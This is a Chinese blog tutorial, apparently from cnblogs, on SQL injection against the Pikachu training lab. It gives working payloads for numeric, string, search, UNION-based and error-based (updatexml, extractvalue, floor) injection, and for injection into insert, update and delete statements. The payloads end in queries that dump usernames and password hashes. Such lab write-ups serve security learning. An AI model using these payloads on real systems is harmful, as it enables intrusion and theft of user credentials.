zoukankan      html  css  js  c++  java
  • pikachu---SQL注入(1)

    一、产生原因
    SQL注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。

    二、攻击流程

    三、注入点类型

    数字型注入(POST)
    打开pikachu,找到数字型注入(POST),这里可以选择userid 返回用户名和邮箱

    可以看出来这是一个数字查询,抓包看看一下也可以看出来这是一个post方法。

    看到id,我们可以猜想直接修改id是否可以成功执行。(id修改成1 or 1=1)

    修改id后可以看出来查询,我们可以猜想后台出现SQL漏洞,猜想SQL语句为
    select name,email from table where id = $id
    所以我们修改之后的id =1 or 1=1,就会变成
    select name,email from table where id = 1 or 1=1
    因为 1=1 肯定为成立,所以我们可以将所以的成员查出来。

    字符型注入
    打开网页找到字符型输入kobe

    我们也可以猜想查询语句
    select name,email from table where id = '$name'
    当我们输入 kobe' or '1'='1查询语句就是,当然我们也可以通过注释来输入比如kobe' or 1=1#
    select name,email from table where id = 'kobe' or '1'='1'
    这样我们可以查询所以成员

    这样我们就攻击成功了。
    搜索型注入
    打开网页我们可以发现,可以输入一部分即可查找。

    猜想后台查询语句
    select name,email from table where id = '%$name%'
    这样我们就可以构造攻击语句
    select name,email from table where id = '%k%' or 1=1#
    select name,email from table where id = '%k%' or '1'='1'#%'
    这样我们可以尝试攻击输入k%' or '1'='1'#或者k%' or 1=1#

    这样我们就攻击成功了。
    xx型注入
    这里我们可以先查看后后台代码

    想着尝试怎么去攻击a') or 1=1#
    尝试攻击

    这样我们就攻击成功了。

    union联合查询的信息获取

    通过联合查询来查询指定的数据,比如下面的语句
    select 字段1,字段2 from user where id=1 union select 字段1,字段2 from 表名
    联合查询的字段数需要和主查询一致。
    我们可以通过用databases(),user(),version()查询数据库的数据库、用户和版本信息。
    select database(); select user(); select version();
    使用 union 需要知道主查询有多少个 字段,我们可以用 order by 来帮助我们猜测后台查询语句查询的字段数
    select 字段1,字段2 from users order by 1
    后面跟着的数字表示根据查询结果的第几列进行排序,如果后台查询 2 个字段,那我们 order by 3 时就会报错,order by 2 时会正常返回。(一般用二分法)
    通过information_schema拿下数据库

    通过 pikachu 平台的字符型注入进行演示。
    1.确定有没有注入点:
    们先输入一个单引号,提交后后台报错,说SQL语句错误,说明存在注入点。

    2.显示所有的数据:
    然后构造payload(a' or 1=1#),可以取出表中的全部数据

    3.确认主查询有多少个字段:
    用 order by 确认主查询有多少个字段依次输入以下代码在对话框。
    ' or 1=1 order by 1#
    ' or 1=1 order by 2#
    ' or 1=1 order by 3#
    当 odery by 3时报错,说明主查询中有 2 个字段

    4.获得当前数据库名称:
    通过' union select database(),user() #

    可以发现数据库是pikachu
    5.通过已经获取的数据库来查询数据库中的表名
    对话框输入' union select table_schema,table_name from information_schema.tables where table_schema='pikachu' #

    6.有了表名后,我们查询表中的列名,比如查询 users 这个表:
    对话框' union select table_name,column_name from information_schema.columns where table_name='users' #

    7.通过数据库,表,列名盗窃用户的信息:
    对话框' union select username,password from users #

    通过图我们可以看到我们得到用户经过md5加密的密码
    我们可以通过这来破解用户密码

    函数报错注入,updatexml()、extractvalue()、floor()

    三个常用函数

    updatexml(): MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数
    extractvalue():MySQL 对 XML 文档数据进行查询的 XPATH 函数
    floor():MySQL中用来取整的函数
    updatexml()
    updatexml()函数作用:改变(查找并替换)XML 文档中符合条件的节点的值
    语法:UPDATEXML (XML_document, XPath_string, new_value)
    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
    第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。不过这里用不到。
    第三个参数:new_value,String格式,替换查找到的符合条件的数据

    XPath 定位必须是有效的,否则会发生错误
    在 pikachu 平台上的字符型注入中实验
    比如我们输入' and updatexml(1, version(), 0)#

    我们传入 updatexml 中的三个参数都是错误的,中间那个值可以用表达式写入。执行后会得到类似错误
    如果我们构造' and updatexml(1, concat(0x7e, version()) 0)#,会把报错信息和我们查询的信息一起输出(0x7e是符号 “~” 的16进制)

    这样我们可以看到MySQL版本,这样我们把 version() 换成 database() 就能取得数据库的名称
    当我们知道了数据名我们继续查询表名
    ' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu')), 0)#

    我们会发现会报错,Subquery returns more than 1 row
    们在刚刚的 payload 后面用 limit 关键字,限制取回的结果
    ' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)), 0)#

    上面会返回第一个表的名称
    limit后的第一个是起始位置,第二个数字是取出的数据条数,这样我们可以获取所以的表名。
    有了表的名称后我们就去获取字段
    ' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)), 0)#

    取出所有的列名。我们就能去取数据了
    ' and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0)#

    然后根据得到的用户名,去查询password
    ' and updatexml(1, concat(0x7e, (select password from users where username = 'admin' limit 0,1)), 0)#

    extractvalue()
    extractvalue()函数作用:从目标 XML 中返回包含所查询值的字符串
    语法:ExtractValue(xml_document, XPathstring)
    第一个参数:xml_document 是 string 格式,为 XML 文档对象的名称
    第二个参数: XPathstring,XPath 格式的字符串
    Xpath定位必须有效,否则会发生错误。
    同样在字符型漏洞中实验,构造以下 payload
    ' and extractvalue(1, concat(0x7e,database())) #

    它跟 updatexml 使用起来效果是一样的这里就不多说啦。
    floor()
    向下取整。如果要用 floor() 构成报错,必须满足下面的条件
    运算中有 count
    运算中有 group by
    运算中有 rand
    ' and (select 2 from (select count(*), concat(version(), floor(rand(0) * 2))x from information_schema.tables group by x)a)#
    上面表达式执行的结果会以 “a” 作为别名,然后在 字符型注入 中提交,会得到下面的报错
    我们可以把 version() 的表达式替换成别的表达式
    ' and (select 2 from (select count(*), concat((select password from users where username='admin' limit 0,1), floor(rand(0) * 2))x from information_schema.tables group by x)a)#

    insert/update/delete注入
    insert
    insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入
    注册页面存在注入漏洞

    们就填必填的两项,用户那里输入单引号,密码随便输入,这时页面会有报错信息,说明存在SQL注入漏洞

    这样我们可以推断后台使用的是 insert 语句,我们一般可以通过 or 进行闭合。猜测一下后端代码可能是
    insert into member(username,pw,sex,phonenum,email,adderss) values('eee', 11111, 1, 2, 3, 4);
    构造下面的 payload
    eee' or updatexml(1, concat(0x7e,database()), 0) or '

    这错误都熟悉吧接下来的操作类似于updatexml。
    update
    与insert差不多,就是我们登陆修改个人信息的时候填入我们刚刚构造的 payload,然后提交也能得到相应的结果

    eee' or updatexml(1, concat(0x7e,database()), 0) or '

    delete

    首先我们输入一个1,如何删除,抓包看一下。

    实际上就是传递了一个留言的 id,后台根据这个 id 去删除留言,并且我们可以看出来这是一个数字型的,这样我们可以构造的 payload。
    2 or updatexml(1, concat(0x7e,database()), 0)
    这需要URL编码id。

  • 相关阅读:
    IT黑马-面向对象
    软路由系统记录
    网工笔记
    肖哥HCNP-正式篇笔记
    肖哥HCNP-学前准备篇笔记
    致良知简短笔记
    黑马班笔记
    正则表达示 for Python3
    小甲鱼Python3笔记
    linux命令-jdk及mysql安装操作
  • 原文地址:https://www.cnblogs.com/renletao/p/13266790.html
Copyright © 2011-2022 走看看